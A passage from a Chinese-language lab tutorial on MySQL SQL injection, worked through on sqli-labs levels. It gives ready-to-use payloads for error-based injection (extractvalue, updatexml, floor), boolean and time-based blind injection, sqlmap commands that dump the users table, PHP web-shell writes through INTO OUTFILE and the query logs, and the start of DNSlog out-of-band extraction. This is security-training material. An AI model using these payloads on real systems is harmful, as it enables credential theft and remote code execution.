<code>table_name</code>，顾名思义，存的就是表的名字。</li>\n<li>table_schema：这与table_name一样也是information_schema.tables里面的一个字段，表示该表所属的数据库名</li>\n<li>database()：这是一个MySQL内置函数，它会返回当前网站正在连接使用的数据库名称</li>\n<li>group_concat()：这是MySQL中的一个聚合函数，可以将查询出来的多行结果合并为一个长字符串，默认用,逗号分隔</li>\n</ul>\n</li>\n</ol>\n<h1 id=\"报错注入\"><a class=\"anchor\" href=\"#报错注入\">#</a> 报错注入</h1>\n<h2 id=\"extractvalue\"><a class=\"anchor\" href=\"#extractvalue\">#</a> extractValue</h2>\n<p>当网页没有回显位置（页面上不显示union  select的查询数据）但是可以显示数据库的报错信息时，可以采用报错注入</p>\n<p>extractvalue正常用法是从XML中提取数据</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>EXTRACTVALUE(xml_document, xpath_string)</span></span></code></pre>\n<p>参数1(<code>xml_document</code>)：一段 XML 格式的字符串。</p>\n<p>参数2(<code>xpath_string</code>)：一段 XPath 路径（类似于文件目录的路径，比如 <code>/a/b/c</code>），用来告诉 MySQL 去哪里找数据。</p>\n<p>但是如果采用如下方法：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>extractvalue(1,concat('~',(select database()))) --+</span></span></code></pre>\n<p>那么MySQL就会试图解析错误的XPath：<code>~+查询到的数据库名称</code>，这样一串报错信息就会回显出来</p>\n<p>concat()将查询内容与指定字符~拼接在一起就能确保绝对能报错</p>\n<p>这里以Less-5为例：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/5-1.png\" class=\"\" title=\"5-1\"></p>\n<p>可以看到没有回显我们的正常查询结果，尝试采用报错注入：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=1' and 1=1 --+ //判断注入类型</span></span>\n<span class=\"line\"><span>/?id=1' and extractvalue(1,concat('~',(select database()))) --+ //查询数据库名</span></span>\n<span class=\"line\"><span>/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ //查询表名</span></span>\n<span class=\"line\"><span>/?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database()))) --+ //查询列名</span></span>\n<span class=\"line\"><span>/?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+ //查询指定表名中的列名</span></span>\n<span class=\"line\"><span>/?id=1' and extractvalue(1,concat('~',(select group_concat(username,'~',password) from users))) --+  //查询指定表名中指定列名的内容并通过~字符连接起来</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/5-2.png\" class=\"\" title=\"5-2\"></p>\n<p>不过可以看到在查询最终username和password结果并将他们用~拼接起来时，发现似乎不能显示完所有的信息</p>\n<p>这是由于extractvalue函数存在长度限制，他能返回的字符串最多只有32个字符，如果要查询的内容通过group_concat()拼接后总长度超过32个字符就会被截断，所以我们先需要用到substring函数解决这个问题</p>\n<h3 id=\"substring\"><a class=\"anchor\" href=\"#substring\">#</a> substring()</h3>\n<p>标准用法为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>SUBSTRING(要截取的字符串, 开始位置, 截取长度)</span></span></code></pre>\n<p>举个例子：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>substring('ZLARYY&#123;2L47yY&#125;',1,6)   //结果为'ZLARYY'</span></span></code></pre>\n<p>这一串表示从第一个字符开始截取长度为6的字符串（SQL中字符串起始位置从1开始）</p>\n<p><strong>除了substring()，还可以使用substr()和mid()，用法相同</strong></p>\n<p>有了substring函数我你们就可以解决extractvalue的截断问题了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?id=1' and extractvalue(1,concat('~',substring((select group_concat(username,'~',password) from users),31,32))) --+</span></span></code></pre>\n<p>让查询到的内容作为substring函数的第一个参数，后面跟上开始位置和截取长度</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/5-3.png\" class=\"\" title=\"5-3\"></p>\n<h3 id=\"limit\"><a class=\"anchor\" href=\"#limit\">#</a> limit</h3>\n<p>limit也可以用来绕过32字符截断限制：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>LIMIT 偏移量(Offset), 返回的数量(Count)</span></span></code></pre>\n<p><code>LIMIT</code> 的作用是<strong>限制查询结果返回的行数</strong>。它的标准语法包含两个参数</p>\n<p><strong>注意：LIMIT的第一个参数偏移量从0开始</strong></p>\n<p>如果我们使用limit，那就无需使用group_concat将查询内容拼接到一行，比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>extractvalue(1,concat('~',(select concat(username,'~',password) from users limit 0,1))) //将偏移量设为0，返回1行数据</span></span></code></pre>\n<p>这条语句在Less-5中返回内容如下：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/limit.png\" class=\"\" title=\"limit\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>extractvalue(1,concat('~',(select concat(username,'~',password) from users limit 1,1))) //将偏移量设为1，返回1行数据</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/limit2.png\" class=\"\" title=\"limit2\"></p>\n<p>总的来说就是substring()、mid()用于横向切割太长的字符串，limit用于纵向切割</p>\n<h2 id=\"updatexml\"><a class=\"anchor\" href=\"#updatexml\">#</a> updateXml</h2>\n<p>updatexml与extractvalue报错注入原理相同，都是利用非法的XPath路径格式报错</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>UPDATEXML(xml_document, xpath_string, new_xml)</span></span></code></pre>\n<p>参数1(<code>xml_document</code>)：原本的 XML 字符串。</p>\n<p>参数2(<code>xpath_string</code>)：XPath 路径（告诉数据库要去 XML 的哪个位置修改）。</p>\n<p>参数3(<code>new_xml</code>)：想要替换进去的新内容。</p>\n<p>所以利用updatexml爆数据库名应该是如下语句：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>updatexml(1,concat('~',(select database())),2)</span></span></code></pre>\n<p>依然可以以Less-5为例：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=1' and updatexml(1,concat('~',(select database())),3) --+ //查数据库</span></span>\n<span class=\"line\"><span>/?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+ //查表名</span></span>\n<span class=\"line\"><span>/?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database())),3) --+ //查列名</span></span>\n<span class=\"line\"><span>/?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) --+ //查询指定表名中的列名</span></span>\n<span class=\"line\"><span>/?id=1' and updatexml(1,concat('~',(select group_concat(username,'~',password) from users)),3) --+ //查询指定表名中指定列名的内容并通过~字符连接起来</span></span>\n<span class=\"line\"><span>/?id=1' and updatexml(1,concat('~',substring((select group_concat(username,'~',password) from users),31,32)),3) --+ //绕过截断</span></span></code></pre>\n<h2 id=\"floor\"><a class=\"anchor\" href=\"#floor\">#</a> floor</h2>\n<p>floor报错注入中涉及到的函数：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>rand()：随机函数，生成0~1的小数</span></span>\n<span class=\"line\"><span>floor()：向下取整函数 //floor(1.9)=1 floor(1.2)=1 ceiling()为向上取整函数</span></span>\n<span class=\"line\"><span>concat_ws()：将括号内数据用第一个字段连接起来</span></span>\n<span class=\"line\"><span>count()：汇总统计数量</span></span>\n<span class=\"line\"><span>as：别名</span></span>\n<span class=\"line\"><span>limit：这里用于显示指定行数</span></span>\n<span class=\"line\"><span>group by：分组语句</span></span></code></pre>\n<p>还有一个伪随机数概念：如果只调用rand()函数，系统会用当前时间作为”种子“，每次的运行结果都不一样，但如果给他指定了一个固定的种子比如rand(0)，那么无论运行多少次计算出来的一系列随机数都是一样的，那么经过<code>floor(rand(0)*2)</code>处理之后，产生的序列永远是0、1、1、0、1......</p>\n<p>那么为什么需要这一串序列呢？解释如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>当MySQL处理group by floor(rand(0)*2)时，会在后台新建一张临时表，扫描数据表时底层逻辑如下：</span></span>\n<span class=\"line\"><span>1.MySQL读第一行内容，第一次计算floor(rand(0)*2)为0</span></span>\n<span class=\"line\"><span>2.MySQL去临时表里查找是否存在0这个主键->发现没有，于是准备插入数据表的内容到临时表</span></span>\n<span class=\"line\"><span>3.在插入数据时，MySQL没有直接用刚才算出来的0，而是计算第二次floor(rand(0)*2)为1</span></span>\n<span class=\"line\"><span>4.MySQL将1作为主键插入临时表</span></span>\n<span class=\"line\"><span>//这是扫描第一行数据，接下来扫描第二行数据：</span></span>\n<span class=\"line\"><span>1.MySQL继续扫描，第三次计算floor(rand(0)*2)为1</span></span>\n<span class=\"line\"><span>2.MySQL去临时表里查找是否存在1这个主键->发现存在，于是直接把主键1对应的数量（count）加1。这里没有触发重新计算</span></span>\n<span class=\"line\"><span>//接下来扫描第三行数据：</span></span>\n<span class=\"line\"><span>1.MySQL进行第四次计算floor(rand(0)*2)为0</span></span>\n<span class=\"line\"><span>2.MySQL去临时表里查找是否存在0这个主键->发现没有，于是准备插入数据表的内容到临时表</span></span>\n<span class=\"line\"><span>3.与扫描第一行数据时一样，没有直接使用第四次计算得到的0，而是进行第五次计算floor(rand(0)*2)为1</span></span>\n<span class=\"line\"><span>4.MySQL试图将1作为新主键再次插入临时表，但是由于临时表中已经包含了1这个主键，导致MySQL崩溃报错</span></span>\n<span class=\"line\"><span>Duplicate entry '1' for key 'group_key' （主键冲突！）</span></span></code></pre>\n<p>根据以上原理，如果想要实现稳定报错的话，floor(rand(0)*2)至少需要被计算五次，数据表中至少存在三行数据，所以通常去查information_schema.tables，因为这张表里数据绝对足够多</p>\n<p>这里拿到一个大佬的payload[<a href=\"https://blog.csdn.net/miraclehw/article/details/129250360\">SQL注入报错注入之floor()报错注入原理分析_sql注入floor-CSDN博客</a>]来分析：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>1 AND (SELECT 1 from </span></span>\n<span class=\"line\"><span>(SELECT count(*),concat(0x23,(SELECT schema_name from information_schema.schemata LIMIT 0,1),0x23,floor(rand(0)*2)) as x </span></span>\n<span class=\"line\"><span>from information_schema.`COLUMNS` GROUP BY x) </span></span>\n<span class=\"line\"><span>as y)</span></span></code></pre>\n<p>首先<code>(SELECT schema_name from information_schema.schemata LIMIT 0,1)</code>这一串内容是查询数据库 的语法，我们把这一串内容称作'核心查询'，或者可以使用<code>(select database())</code>，当然别忘了数据表中至少有三行数据的条件，这里采用的是information_schema.`COLUMNS`，如果想要使用database()可以利用我们之前提到的information_schema.tables</p>\n<p>然后看第二层：<code>concat(0x23,(核心查询),0x23,floor(rand(0)*2)) as x</code></p>\n<p>0x23为#的十六进制，concat将查询内容按照<code>#查询结果#floor(rand(0)*2)</code>拼接在一起并给这串字符串起别名为x，假设数据库名叫做security，那么x会在两种字符串中反复切换：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#security#0</span></span>\n<span class=\"line\"><span>#security#1</span></span></code></pre>\n<p>之后是触发报错的代码：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>SELECT count(*), (拼接的x) from information_schema.tables group by x</span></span></code></pre>\n<p>这串代码会以x作为主键建立临时表并统计数量（count(*)），那么就会按之前说的逻辑实现报错：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Duplicate entry '#security#1' for key 'group_key'</span></span></code></pre>\n<p>最后是最外层内容：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>1 AND (SELECT 1 from (报错引擎) as y)</span></span></code></pre>\n<p>这是为了符合MySQL的语法规则：</p>\n<p>在 MySQL 中，如果你的 <code>FROM</code> 后面跟的不是一个真实的表名，而是一段子查询语句 <code>(SELECT ...)</code>，这种被称为<strong>派生表（Derived Table）</strong>。MySQL 强制要求<strong>所有的派生表都必须拥有一个属于自己的别名</strong>。</p>\n<p>这里还是以Less-5为例：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=1' and (select 1 from (select count(*),concat(0x23,database(),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+ //查数据库</span></span>\n<span class=\"line\"><span>/?id=1' and (select 1 from (select count(*),concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+  //查表名</span></span>\n<span class=\"line\"><span>/?id=1' and (select 1 from (select count(*),concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+ //查列名</span></span>\n<span class=\"line\"><span>/?id=1' and (select 1 from (select count(*),concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+ //查询指定表名中的列名</span></span>\n<span class=\"line\"><span>/?id=1' and (select 1 from (select count(*),concat(0x23,(select concat(username,'~',password) from users limit  0,1),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+ //用limit绕过限制</span></span></code></pre>\n<p>总结下来floor报错注入模版如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>1/*闭合符*/ and (select 1 from (select count(*),concat(0x23,(select /*查询内容*/),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+</span></span></code></pre>\n<p>在查询最后的内容中我用的payload为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=1' and (select 1 from (select count(*),concat(0x23,(select group_concat(username,'~',password) from users),0x23,floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+</span></span></code></pre>\n<p>但是出现错误了：Subquery returns more than 1 row，原因是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>我们用concat拼接成的x太长导致内存临时表放不下，于是改用磁盘临时表，磁盘临时表的底层处理逻辑和内存表不一样，它完美免疫了rand()重复计算的那个Bug，于是磁盘临时表把数据分成了两组（尾号为0的一组，尾号为1的一组），一共2行数据。没有实现报错，而外层还有一个and逻辑运算符，它要求左右两边必须是一个单一的值（比如 True AND False）。如果右边的括号 (SELECT 1 FROM ...) 扔给它2行或更多行的数据，就会出现错误：Subquery returns more than 1 row。</span></span></code></pre>\n<h1 id=\"布尔盲注\"><a class=\"anchor\" href=\"#布尔盲注\">#</a> 布尔盲注</h1>\n<p>当我们改变前端页面传输给后台sql参数时，页面没有显示相应内容也没有显示报错信息时，页面呈现出两种状态，正常或者不正常。根据这两种状态可以判断我们输入的语句是否查询成功。不能使用联合查询注入和报错注入，这时我们可以考虑是否为基于布尔的盲注。</p>\n<p>以Less-8为例：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/8-1.png\" class=\"\" title=\"8-1\"></p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/8-2.png\" class=\"\" title=\"8-2\"></p>\n<p>这两个页面中前一个为真页面，后一个为假页面，利用布尔盲注需要涉及新函数：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>ascii()：该函数可以将字母转换为其对应的ascii码</span></span>\n<span class=\"line\"><span>length()：该函数可以计算字符串长度</span></span></code></pre>\n<p>基于这条我们构造如下payload：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=1' and ascii(substring((select database()),1,1))=115 --+</span></span></code></pre>\n<p>通过substring()将查询到的字符串的第一个字母取出判断他的ascii码是否为115，为真就显示真页面，为假就显示假页面</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/8-3.png\" class=\"\" title=\"8-3\"></p>\n<p>再根据ascii字符对照表知道数据库名的第一个字符为s，同理：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=1' and ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>=115 --+//查询表名第一个字母 </span></span>\n<span class=\"line\"><span>/?id=1' and ascii(substring((select group_concat(column_name) from information_schema.columns where table_schema=database()),1,1))>=115 --+//查询列名第一个字母</span></span>\n<span class=\"line\"><span>/?id=1' and ascii(substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=115 --+ //查询想要的表中第一个列名的第一个字母</span></span>\n<span class=\"line\"><span>/?id=1' and ascii(substring((select group_concat(username,'~',password) from users),1,1))>=115 --+ //查询想要的内容的第一个字符</span></span></code></pre>\n<h1 id=\"时间盲注\"><a class=\"anchor\" href=\"#时间盲注\">#</a> 时间盲注</h1>\n<p>时间盲注与布尔盲注差不多，如果页面不存在真页面与假页面的区别，就可以使用时间盲注，这里以Less-9为例：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/9-2.png\" class=\"\" title=\"9-2\"></p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/9-1.png\" class=\"\" title=\"9-1\"></p>\n<p>可以看到没有区别，这里再次引进新的内容：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sleep(x)：延迟x秒后回显页面</span></span>\n<span class=\"line\"><span>if()：判断语句</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>if(1=1,sleep(1),sleep(3)) //如果1=1为真，那么执行sleep(1)，否则执行sleep(3)</span></span></code></pre>\n<p>根据这些信息，构造payload：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=1' and if(1=2,sleep(1),sleep(3)) --+ //判断闭合符，如果页面延迟3s响应那就说明闭合符为’</span></span>\n<span class=\"line\"><span>/?id=1' and if(ascii(substring((select database()),1,1))=115,sleep(3),sleep(0)) --+ //查询数据库名的第一个字母</span></span>\n<span class=\"line\"><span>/?id=1' and if(ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>=115,sleep(3),sleep(0)) --+ //查询表名的第一个字母</span></span>\n<span class=\"line\"><span>/?id=1' and if(ascii(substring((select group_concat(column_name) from information_schema.columns where table_schema=database()),1,1))>=115,sleep(3),sleep(0)) --+ //查询列名的第一个字母</span></span>\n<span class=\"line\"><span>/?id=1' and if(ascii(substring((select group_concat(column_name) from information_schema.columns where table_schema=database() where  table_name='users'),1,1))>=115,sleep(3),sleep(0)) --+ //查询指定表名的第一个列名的第一个字母</span></span>\n<span class=\"line\"><span>/?id=1' and if(ascii(substring((select group_concat(userrname,'~',password) from users),1,1))>=115,sleep(3),sleep(0)) --+ //查询指定内容</span></span></code></pre>\n<p>这样看来一个一个字母查询未免也太麻烦了，所以需要引进一个新的工具：sqlmap</p>\n<p>我将这个工具安装在python2目录下</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python2 sqlmap.py -h</span></span></code></pre>\n<p>这串命令可以查看一些参数</p>\n<p>以CTFHub技能树上的时间盲注为例：</p>\n<p>查数据库：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python2 sqlmap.py -u \"http://sql:5200/Less-9/?id=1\" --dbs --batch</span></span></code></pre>\n<p>查表名：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python2 sqlmap.py -u \"http://sql:5200/Less-9/?id=1\" -D security --tables --batch</span></span></code></pre>\n<p>查列名：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python2 sqlmap.py -u \"http://sql:5200/Less-9/?id=1\" -D security --columns --batch</span></span></code></pre>\n<p>查指定表名中的列名：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python2 sqlmap.py -u \"http://sql:5200/Less-9/?id=1\" -D security -T users --columns --batch</span></span></code></pre>\n<p>查数据：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python2 sqlmap.py -u \"http://sql:5200/Less-9/?id=1\" -D security -T users --dump --batch</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/sqlmap.png\" class=\"\" title=\"sqlmap\"></p>\n<h1 id=\"sql写马\"><a class=\"anchor\" href=\"#sql写马\">#</a> SQL写马</h1>\n<h2 id=\"利用into-outfile\"><a class=\"anchor\" href=\"#利用into-outfile\">#</a> 利用into outfile</h2>\n<p>需要MySQL具备读写权限，并且知道一个服务器上可以写入文件的文件夹的完整路径</p>\n<p>这里以Less-7为例：</p>\n<p><img loading=\"lazy\" src=\"/2026/02/22/SQL/7-1.png\" class=\"\" title=\"7-1\"></p>\n<p>payload为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/?id=1')) union select 1,2,\"&#x3C;?php @eval($_POST['cmd']);?>\" into outfile \"D:\\\\phpstudy_pro\\\\WWW\\\\sql\\\\hack.php\" --+</span></span></code></pre>\n<p>所以如果想保持原数据格式进行输出的话，可以用dumpfile代替outfile</p>\n<p>页面虽然会报错但是会执行，之后可以采用蚁剑连接或者直接RCE</p>\n<h2 id=\"利用日志文件\"><a class=\"anchor\" href=\"#利用日志文件\">#</a> 利用日志文件</h2>\n<h3 id=\"慢日志查询\"><a class=\"anchor\" href=\"#慢日志查询\">#</a> 慢日志查询</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>set global slow_query_log=1 # 启动慢日志日志(默认禁用)</span></span>\n<span class=\"line\"><span>set global slow_query_log_file='&#x3C;网站根目录>/hacker.php' # 修改日志文件的绝对路径和文件名</span></span>\n<span class=\"line\"><span>select '&#x3C;?php eval($_POST['cmd']);?>' or sleep(11);</span></span></code></pre>\n<h3 id=\"全局查询日志\"><a class=\"anchor\" href=\"#全局查询日志\">#</a> 全局查询日志</h3>\n<p>适用于into outfile被禁止或者写入文件被拦截</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>show variables like '%general%'; #查看配置</span></span>\n<span class=\"line\"><span>set global general_log=on; # 默认关闭,开启后记录用户输入的每条命令</span></span>\n<span class=\"line\"><span>set global general_log_file='/var/www/html/1.php'; #设置日志地址,注意后缀是php</span></span>\n<span class=\"line\"><span>select '&#x3C;?php eval($_POST['cmd']);?>';</span></span></code></pre>\n<h1 id=\"dnslog注入\"><a class=\"anchor\" href=\"#dnslog注入\">#</a> DNSlog注入</h1>\n<p>适用于无回显注入，需要介绍一个新函数：load_file()</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>SELECT load_file('文件的绝对路径');</span></span></code></pre>\n<p>load_file()是 MySQL 的内置函数，原本的作用是让数据库管理员可以方便地把服务器本地的文本文件内容，直接作为一个字符串读取到 SQL 语句中。</p>\n<p>DNSlog带外注入是OOB的一种，需要用到UNC路径：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>格式：\\\\servername\\sharename，其中servername是服务器名，sharename是共享资源的名称。目录或文件的UNC名称可以包括共享名称下的目录路径，格式为 ：\\\\servername\\sharename\\directory\\filename  其实我们平常在windows中用共享文件时就会用到这种网络地址的形式</span></span></code></pre>\n<p>需要用到的两个网站：</p>\n<p><a href=\"http://www.dnslog.cn\">http://www.dnslog.cn</a></p>\n<p><a 